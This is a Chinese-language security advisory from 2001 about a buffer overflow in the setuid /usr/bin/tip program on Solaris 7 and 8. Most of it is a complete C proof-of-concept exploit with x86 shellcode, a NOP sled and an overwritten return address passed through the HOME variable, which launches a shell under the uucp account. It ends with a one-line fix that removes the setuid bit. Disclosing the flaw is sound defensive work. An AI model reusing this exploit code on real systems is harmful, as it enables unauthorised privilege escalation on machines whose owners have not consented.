Solaris 的/usr/bin/tip存在缓冲溢出漏洞发布时间:2001-03-28 更新时间:2001-03-28 严重程度:高 威胁程度:权限提升 错误类型:输入验证错误 利用方式:服务器模式 受影响系统 Solaris 8详细描述 tip程序在Solaris默认安装下是SETUID 为UUCP,它在处理缓冲 变量的时候包含一个漏洞,如果变量超过预定义的长度将导致 缓冲溢出。 测试代码 #include <fcntl.h> /* /usr/bin/tip overflow proof of conecpt. Pablo Sor, Buenos Aires, Argentina 03/2001 psor@afip.gov.ar works against x86 solaris 7,8 default offset should work. */ long get_esp() { __asm__("movl %esp,%eax"); } int main(int ac, char **av) { char shell[]= "\xeb\x0a\x9a\x01\x02\x03\x5c\x07\x04\xc3\xeb\x05" "\xe8\xf9\xff\xff\xff\x5e\x29\xc0\x88\x46\xf7\x89\x46\xf2" "\x50\xb0\x8d\xe8\xe0\xff\xff\xff\x6a\x05\x90\xb0\x17\xe8\xd6\xff\xff\xff" "\xeb\x1f\x5e\x8d\x1e\x89\x5e\x0b\x29\xc0\x88\x46\x19\x89\x46\x14" "\x89\x46\x0f\x89\x46\x07\xb0\x3b\x8d\x4e\x0b\x51\x51\x53\x50\xeb\x18" "\xe8\xdc\xff\xff\xff\x2f\x74\x6d\x70\x2f\x78\x78\x01\x01\x01\x01\x02\x02" "\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04"; unsigned long magic = get_esp() + 0x50; /* default offset */ unsigned char buf[600]; symlink("/bin/ksh","/tmp/xx"); memset(buf,0x90,600); buf[599]=0; memcpy(buf+(sizeof(buf)-strlen(shell)),shell,strlen(shell)); memcpy(buf,"HOME=",5); memcpy(buf+265,&magic,4); putenv(buf); system("/usr/bin/tip 5"); unlink("/tmp/xx"); } 解决方案 chmod a-s /usr/bin/tip 相关信息 |